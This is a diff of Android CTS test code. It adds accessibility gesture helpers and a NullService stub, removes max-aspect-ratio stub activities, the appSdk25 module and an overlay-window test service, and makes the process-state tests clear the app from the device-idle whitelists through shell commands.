+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/GestureUtils.java
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts.utils;
+
+import android.accessibilityservice.AccessibilityService.GestureResultCallback;
+import android.accessibilityservice.GestureDescription;
+import android.accessibilityservice.GestureDescription.StrokeDescription;
+import android.accessibilityservice.cts.InstrumentedAccessibilityService;
+import android.graphics.Path;
+import android.graphics.PointF;
+import android.view.ViewConfiguration;
+
+import java.util.concurrent.CompletableFuture;
+
+public class GestureUtils {
+
+    private GestureUtils() {}
+
+    public static CompletableFuture<Void> dispatchGesture(
+            InstrumentedAccessibilityService service,
+            GestureDescription gesture) {
+        CompletableFuture<Void> result = new CompletableFuture<>();
+        GestureResultCallback callback = new GestureResultCallback() {
+            @Override
+            public void onCompleted(GestureDescription gestureDescription) {
+                result.complete(null);
+            }
+
+            @Override
+            public void onCancelled(GestureDescription gestureDescription) {
+                result.cancel(false);
+            }
+        };
+        service.runOnServiceSync(() -> {
+            if (!service.dispatchGesture(gesture, callback, null)) {
+                result.completeExceptionally(new IllegalStateException());
+            }
+        });
+        return result;
+    }
+
+    public static StrokeDescription pointerDown(PointF point) {
+        return new StrokeDescription(path(point), 0, ViewConfiguration.getTapTimeout(), true);
+    }
+
+    public static StrokeDescription pointerUp(StrokeDescription lastStroke) {
+        return lastStroke.continueStroke(path(lastPointOf(lastStroke)),
+                endTimeOf(lastStroke), ViewConfiguration.getTapTimeout(), false);
+    }
+
+    public static PointF lastPointOf(StrokeDescription stroke) {
+        float[] p = stroke.getPath().approximate(0.3f);
+        return new PointF(p[p.length - 2], p[p.length - 1]);
+    }
+
+    public static StrokeDescription click(PointF point) {
+        return new StrokeDescription(path(point), 0, ViewConfiguration.getTapTimeout());
+    }
+
+    public static StrokeDescription longClick(PointF point) {
+        return new StrokeDescription(path(point), 0,
+                ViewConfiguration.getLongPressTimeout() * 3 / 2);
+    }
+
+    public static StrokeDescription swipe(PointF from, PointF to) {
+        return swipe(from, to, ViewConfiguration.getTapTimeout());
+    }
+
+    public static StrokeDescription swipe(PointF from, PointF to, long duration) {
+        return new StrokeDescription(path(from, to), 0, duration);
+    }
+
+    public static StrokeDescription drag(StrokeDescription from, PointF to) {
+        return from.continueStroke(
+                path(lastPointOf(from), to),
+                endTimeOf(from), ViewConfiguration.getTapTimeout(), true);
+    }
+
+    public static Path path(PointF first, PointF... rest) {
+        Path path = new Path();
+        path.moveTo(first.x, first.y);
+        for (PointF point : rest) {
+            path.lineTo(point.x, point.y);
+        }
+        return path;
+    }
+
+    public static StrokeDescription startingAt(long timeMs, StrokeDescription prototype) {
+        return new StrokeDescription(
+                prototype.getPath(), timeMs, prototype.getDuration(), prototype.willContinue());
+    }
+
+    public static long endTimeOf(StrokeDescription stroke) {
+        return stroke.getStartTime() + stroke.getDuration();
+    }
+
+    public static float distance(PointF a, PointF b) {
+        if (a == null) throw new NullPointerException();
+        if (b == null) throw new NullPointerException();
+        return (float) Math.hypot(a.x - b.x, a.y - b.y);
+    }
+
+    public static PointF add(PointF a, float x, float y) {
+        return new PointF(a.x + x, a.y + y);
+    }
+
+    public static PointF add(PointF a, PointF b) {
+        return add(a, b.x, b.y);
+    }
+
+    public static PointF diff(PointF a, PointF b) {
+        return add(a, -b.x, -b.y);
+    }
+
+    public static PointF negate(PointF p) {
+        return times(-1, p);
+    }
+
+    public static PointF times(float mult, PointF p) {
+        return new PointF(p.x * mult, p.y * mult);
+    }
+
+    public static float length(PointF p) {
+        return (float) Math.hypot(p.x, p.y);
+    }
+
+    public static PointF ceil(PointF p) {
+        return new PointF((float) Math.ceil(p.x), (float) Math.ceil(p.y));
+    }
+}
diff --git a/tests/app/Android.mk b/tests/app/Android.mk
index 6bd42ef..ce81559 100644
--- a/tests/app/Android.mk
+++ b/tests/app/Android.mk
@@ -32,9 +32,7 @@
     platform-test-annotations
 
 LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-    $(call all-java-files-under, app2/src) \
-    $(call all-java-files-under, appSdk25/src) \
+    $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/app/AndroidTest.xml b/tests/app/AndroidTest.xml
index eb515b2..dd240d4 100644
--- a/tests/app/AndroidTest.xml
+++ b/tests/app/AndroidTest.xml
@@ -22,7 +22,6 @@
         <option name="test-file-name" value="CtsAppTestStubs.apk" />
         <option name="test-file-name" value="CtsAppTestStubsDifferentUid.apk" />
         <option name="test-file-name" value="CtsAppTestCases.apk" />
-        <option name="test-file-name" value="CtsAppTestSdk25.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.app.cts" />
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index 7db0717..6093384 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -104,6 +104,8 @@
 
         <service android:name="android.app.stubs.MockService" />
 
+        <service android:name="android.app.stubs.NullService" />
+
         <activity android:name="android.app.stubs.SearchManagerStubActivity"
                 android:label="SearchManagerStubActivity">
             <intent-filter>
@@ -326,45 +328,6 @@
         <activity android:name="android.app.stubs.ToolbarActivity"
                   android:theme="@android:style/Theme.Material.Light.NoActionBar" />
 
-        <activity android:name="android.app.stubs.MaxAspectRatioActivity"
-                  android:label="MaxAspectRatioActivity"
-                  android:resizeableActivity="false"
-                  android:maxAspectRatio="1.0">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-            </intent-filter>
-        </activity>
-
-        <activity android:name="android.app.stubs.MetaDataMaxAspectRatioActivity"
-                  android:label="MetaDataMaxAspectRatioActivity"
-                  android:resizeableActivity="false">
-            <meta-data android:name="android.max_aspect" android:value="1.0" />
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-            </intent-filter>
-        </activity>
-
-        <activity android:name="android.app.stubs.MaxAspectRatioResizeableActivity"
-                  android:label="MaxAspectRatioResizeableActivity"
-                  android:resizeableActivity="true"
-                  android:maxAspectRatio="1.0">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-            </intent-filter>
-        </activity>
-
-        <activity android:name="android.app.stubs.MaxAspectRatioUnsetActivity"
-                  android:label="MaxAspectRatioUnsetActivity"
-                  android:resizeableActivity="false">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-            </intent-filter>
-        </activity>
-
         <service
             android:name="android.app.stubs.LiveWallpaper"
             android:icon="@drawable/robot"
diff --git a/tests/app/app/src/android/app/stubs/MaxAspectRatioActivity.java b/tests/app/app/src/android/app/stubs/MaxAspectRatioActivity.java
deleted file mode 100644
index 4a04861..0000000
--- a/tests/app/app/src/android/app/stubs/MaxAspectRatioActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-
-public class MaxAspectRatioActivity extends Activity {
-
-}
diff --git a/tests/app/app/src/android/app/stubs/MaxAspectRatioResizeableActivity.java b/tests/app/app/src/android/app/stubs/MaxAspectRatioResizeableActivity.java
deleted file mode 100644
index da1c605..0000000
--- a/tests/app/app/src/android/app/stubs/MaxAspectRatioResizeableActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-
-public class MaxAspectRatioResizeableActivity extends Activity {
-
-}
diff --git a/tests/app/app/src/android/app/stubs/MaxAspectRatioUnsetActivity.java b/tests/app/app/src/android/app/stubs/MaxAspectRatioUnsetActivity.java
deleted file mode 100644
index 06e4994..0000000
--- a/tests/app/app/src/android/app/stubs/MaxAspectRatioUnsetActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-
-public class MaxAspectRatioUnsetActivity extends Activity {
-
-}
diff --git a/tests/app/app/src/android/app/stubs/MetaDataMaxAspectRatioActivity.java b/tests/app/app/src/android/app/stubs/MetaDataMaxAspectRatioActivity.java
deleted file mode 100644
index 2e989de..0000000
--- a/tests/app/app/src/android/app/stubs/MetaDataMaxAspectRatioActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-
-public class MetaDataMaxAspectRatioActivity extends Activity {
-
-}
diff --git a/tests/app/app/src/android/app/stubs/NullService.java b/tests/app/app/src/android/app/stubs/NullService.java
new file mode 100644
index 0000000..6a1c618
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/NullService.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.util.Log;
+
+/**
+ * A Service that always returns null from onBind(Intent).
+ */
+public class NullService extends Service {
+    private static final String TAG = "NullService";
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        Log.i(TAG, "onBind() returning null");
+        return null;
+    }
+
+}
diff --git a/tests/app/app2/Android.mk b/tests/app/app2/Android.mk
index 2689c30..304f79e 100644
--- a/tests/app/app2/Android.mk
+++ b/tests/app/app2/Android.mk
@@ -22,8 +22,7 @@
     compatibility-device-util \
 
 LOCAL_SRC_FILES := \
-    ../app/src/android/app/stubs/LocalService.java \
-    $(call all-java-files-under, src) \
+    ../app/src/android/app/stubs/LocalService.java
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/app/app2/src/com/android/app2/AlertWindowService.java b/tests/app/app2/src/com/android/app2/AlertWindowService.java
deleted file mode 100644
index a514e8a..0000000
--- a/tests/app/app2/src/com/android/app2/AlertWindowService.java
+++ /dev/null
@@ -1,145 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.app2;
-
-import android.app.Service;
-import android.content.Intent;
-import android.graphics.Point;
-import android.os.Handler;
-import android.os.IBinder;
-import android.os.Message;
-import android.os.Messenger;
-import android.os.RemoteException;
-import android.util.Log;
-import android.view.View;
-import android.view.WindowManager;
-import android.widget.TextView;
-
-import java.util.LinkedList;
-
-import static android.graphics.Color.BLUE;
-import static android.view.Gravity.LEFT;
-import static android.view.Gravity.TOP;
-import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
-import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
-import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
-import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
-
-/** Service for creating and managing alert windows. */
-public class AlertWindowService extends Service {
-
-    private static final String TAG = "AlertWindowService";
-    private static final boolean DEBUG = false;
-
-    public static final int MSG_ADD_ALERT_WINDOW = 1;
-    public static final int MSG_REMOVE_ALERT_WINDOW = 2;
-    public static final int MSG_REMOVE_ALL_ALERT_WINDOWS = 3;
-
-    public static String NOTIFICATION_MESSENGER_EXTRA =
-            "com.android.app2.AlertWindowService.NOTIFICATION_MESSENGER_EXTRA";
-    public static final int MSG_ON_ALERT_WINDOW_ADDED = 4;
-    public static final int MSG_ON_ALERT_WINDOW_REMOVED = 5;
-
-    private LinkedList<View> mAlertWindows = new LinkedList<>();
-
-    private Messenger mOutgoingMessenger = null;
-    private final Messenger mIncomingMessenger = new Messenger(new IncomingHandler());
-
-    private class IncomingHandler extends Handler {
-        @Override
-        public void handleMessage(Message msg) {
-            switch (msg.what) {
-                case MSG_ADD_ALERT_WINDOW:
-                    addAlertWindow();
-                    break;
-                case MSG_REMOVE_ALERT_WINDOW:
-                    removeAlertWindow();
-                    break;
-                case MSG_REMOVE_ALL_ALERT_WINDOWS:
-                    removeAllAlertWindows();
-                    break;
-                default:
-                    super.handleMessage(msg);
-            }
-        }
-    }
-
-    private void addAlertWindow() {
-        final Point size = new Point();
-        final WindowManager wm = getSystemService(WindowManager.class);
-        wm.getDefaultDisplay().getSize(size);
-
-        final WindowManager.LayoutParams params = new WindowManager.LayoutParams(
-                TYPE_APPLICATION_OVERLAY,
-                FLAG_NOT_FOCUSABLE | FLAG_WATCH_OUTSIDE_TOUCH | FLAG_NOT_TOUCHABLE);
-        params.width = size.x / 3;
-        params.height = size.y / 3;
-        params.gravity = TOP | LEFT;
-
-        final TextView view = new TextView(this);
-        view.setText("AlertWindowService" + mAlertWindows.size());
-        view.setBackgroundColor(BLUE);
-        wm.addView(view, params);
-        mAlertWindows.add(view);
-
-        if (DEBUG) Log.e(TAG, "addAlertWindow " + mAlertWindows.size());
-        if (mOutgoingMessenger != null) {
-            try {
-                mOutgoingMessenger.send(Message.obtain(null, MSG_ON_ALERT_WINDOW_ADDED));
-            } catch (RemoteException e) {
-
-            }
-        }
-    }
-
-    private void removeAlertWindow() {
-        if (mAlertWindows.size() == 0) {
-            return;
-        }
-        final WindowManager wm = getSystemService(WindowManager.class);
-        wm.removeView(mAlertWindows.pop());
-
-        if (DEBUG) Log.e(TAG, "removeAlertWindow " + mAlertWindows.size());
-        if (mOutgoingMessenger != null) {
-            try {
-                mOutgoingMessenger.send(Message.obtain(null, MSG_ON_ALERT_WINDOW_REMOVED));
-            } catch (RemoteException e) {
-
-            }
-        }
-    }
-
-    private void removeAllAlertWindows() {
-        while (mAlertWindows.size() > 0) {
-            removeAlertWindow();
-        }
-    }
-
-    @Override
-    public IBinder onBind(Intent intent) {
-        if (DEBUG) Log.e(TAG, "onBind");
-        mOutgoingMessenger = intent.getParcelableExtra(NOTIFICATION_MESSENGER_EXTRA);
-        return mIncomingMessenger.getBinder();
-    }
-
-    @Override
-    public boolean onUnbind(Intent intent) {
-        if (DEBUG) Log.e(TAG, "onUnbind");
-        removeAllAlertWindows();
-        return super.onUnbind(intent);
-    }
-}
diff --git a/tests/app/appSdk25/Android.mk b/tests/app/appSdk25/Android.mk
deleted file mode 100644
index 36c6d07..0000000
--- a/tests/app/appSdk25/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-
-LOCAL_SDK_VERSION := 25
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsAppTestSdk25
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/app/appSdk25/AndroidManifest.xml b/tests/app/appSdk25/AndroidManifest.xml
deleted file mode 100755
index f564f51..0000000
--- a/tests/app/appSdk25/AndroidManifest.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2017 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.appSdk25">
-
-    <application android:label="CtsAppTestSdk25">
-        <activity android:name=".Sdk25MaxAspectRatioActivity"
-                  android:label="Sdk25MaxAspectRatioActivity"
-                  android:resizeableActivity="false"
-                  android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
-
diff --git a/tests/app/appSdk25/src/com/android/appSdk25/Sdk25MaxAspectRatioActivity.java b/tests/app/appSdk25/src/com/android/appSdk25/Sdk25MaxAspectRatioActivity.java
deleted file mode 100644
index 7fa25e0..0000000
--- a/tests/app/appSdk25/src/com/android/appSdk25/Sdk25MaxAspectRatioActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.appSdk25;
-
-import android.app.Activity;
-
-public class Sdk25MaxAspectRatioActivity extends Activity {
-
-}
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 7c1ed0d..3ea386e 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -35,10 +35,13 @@
 import android.os.PowerManager;
 import android.os.RemoteException;
 import android.test.InstrumentationTestCase;
+import android.util.Log;
 
 import com.android.compatibility.common.util.SystemUtil;
 
 public class ActivityManagerProcessStateTest extends InstrumentationTestCase {
+    private static final String TAG = ActivityManagerProcessStateTest.class.getName();
+
     private static final String STUB_PACKAGE_NAME = "android.app.stubs";
     private static final int WAIT_TIME = 2000;
     // A secondary test activity from another APK.
@@ -50,6 +53,8 @@
     public static String ACTION_SIMPLE_ACTIVITY_START_SERVICE_RESULT =
             "com.android.cts.launcherapps.simpleapp.SimpleActivityStartService.RESULT";
 
+    private static final int TEMP_WHITELIST_DURATION_MS = 2000;
+
     private Context mContext;
     private Instrumentation mInstrumentation;
     private Intent mServiceIntent;
@@ -70,11 +75,18 @@
         mAllProcesses[1] = mService2Intent;
         mContext.stopService(mServiceIntent);
         mContext.stopService(mService2Intent);
+        removeTestAppFromWhitelists();
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
+    private void removeTestAppFromWhitelists() throws Exception {
+        executeShellCmd("cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME);
+        executeShellCmd("cmd deviceidle tempwhitelist -r " + SIMPLE_PACKAGE_NAME);
+    }
+
+    private String executeShellCmd(String cmd) throws Exception {
+        final String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        Log.d(TAG, String.format("Output for '%s': %s", cmd, result));
+        return result;
     }
 
     /**
@@ -162,7 +174,7 @@
             // Also make sure the uid state reports are as expected.  Wait for active because
             // there may be some intermediate states as the process comes up.
             uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
-            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
 
             // Pull out the service IBinder for a kludy hack...
@@ -206,7 +218,7 @@
 
             // Also make sure the uid state reports are as expected.
             uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
-            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
 
             // Bring down one service, app state should remain foreground.
@@ -232,7 +244,7 @@
             assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
                     am.getPackageImportance(SIMPLE_PACKAGE_NAME));
 
-            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
 
             // Bring up other service, should remain foreground.
@@ -350,7 +362,8 @@
             }
 
             // Put app on temporary whitelist to see if this allows the service start.
-            cmd = "cmd deviceidle tempwhitelist -d 2000 " + SIMPLE_PACKAGE_NAME;
+            cmd = String.format("cmd deviceidle tempwhitelist -d %d %s",
+                    TEMP_WHITELIST_DURATION_MS, SIMPLE_PACKAGE_NAME);
             result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
 
             // Try starting the service now that the app is whitelisted...  should work!
@@ -359,7 +372,7 @@
 
             // Also make sure the uid state reports are as expected.
             uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
-            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
 
             // Good, now stop the service and give enough time to get off the temp whitelist.
@@ -369,7 +382,7 @@
             uidWatcher.expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
             uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
 
-            Thread.sleep(3000);
+            executeShellCmd("cmd deviceidle tempwhitelist -r " + SIMPLE_PACKAGE_NAME);
 
             // Going off the temp whitelist causes a spurious proc state report...  that's
             // not ideal, but okay.
@@ -401,7 +414,7 @@
             mContext.startService(serviceIntent);
             conn.waitForConnect(WAIT_TIME);
 
-            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
 
             // Okay, bring down the service.
@@ -533,7 +546,7 @@
 
             // Also make sure the uid state reports are as expected.
             uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
-            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
 
             conn2.unbind(WAIT_TIME);
@@ -551,7 +564,7 @@
             mContext.startService(mServiceIntent);
             conn.waitForConnect(WAIT_TIME);
 
-            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
 
             // And also start the second service.
@@ -636,13 +649,13 @@
 
             // Track the uid proc state changes from the broadcast (but not service execution)
             controller.getUidWatcher().waitFor(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
-            controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "RCVR", WAIT_TIME);
             controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
             controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
 
             // Put app on temporary whitelist to see if this allows the service start.
-            controller.tempWhitelist(2000);
+            controller.tempWhitelist(TEMP_WHITELIST_DURATION_MS);
 
             // Being on the whitelist means the uid is now active.
             controller.getUidWatcher().expect(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
@@ -657,7 +670,7 @@
             conn.waitForConnect(WAIT_TIME);
 
             // Also make sure the uid state reports are as expected.
-            controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             // We are going to wait until 'SVC', because we may see an intermediate 'RCVR'
             // proc state depending on timing.
             controller.getUidWatcher().waitFor(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
@@ -669,7 +682,7 @@
             controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
             controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
 
-            Thread.sleep(3000);
+            controller.removeFromTempWhitelist();
 
             // Going off the temp whitelist causes a spurious proc state report...  that's
             // not ideal, but okay.
@@ -711,7 +724,7 @@
             conn.waitForConnect(WAIT_TIME);
 
             // Also make sure the uid state reports are as expected.
-            controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             controller.getUidWatcher().waitFor(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
 
             // Okay, bring down the service.
@@ -770,7 +783,7 @@
                     ? "TOP" : "TPSL";
             // Also make sure the uid state reports are as expected.
             controller.getUidWatcher().waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
-            controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE,
                     expectedActivityState, WAIT_TIME);
             controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
@@ -785,7 +798,7 @@
             // App isn't yet idle, so we should be able to start the service again.
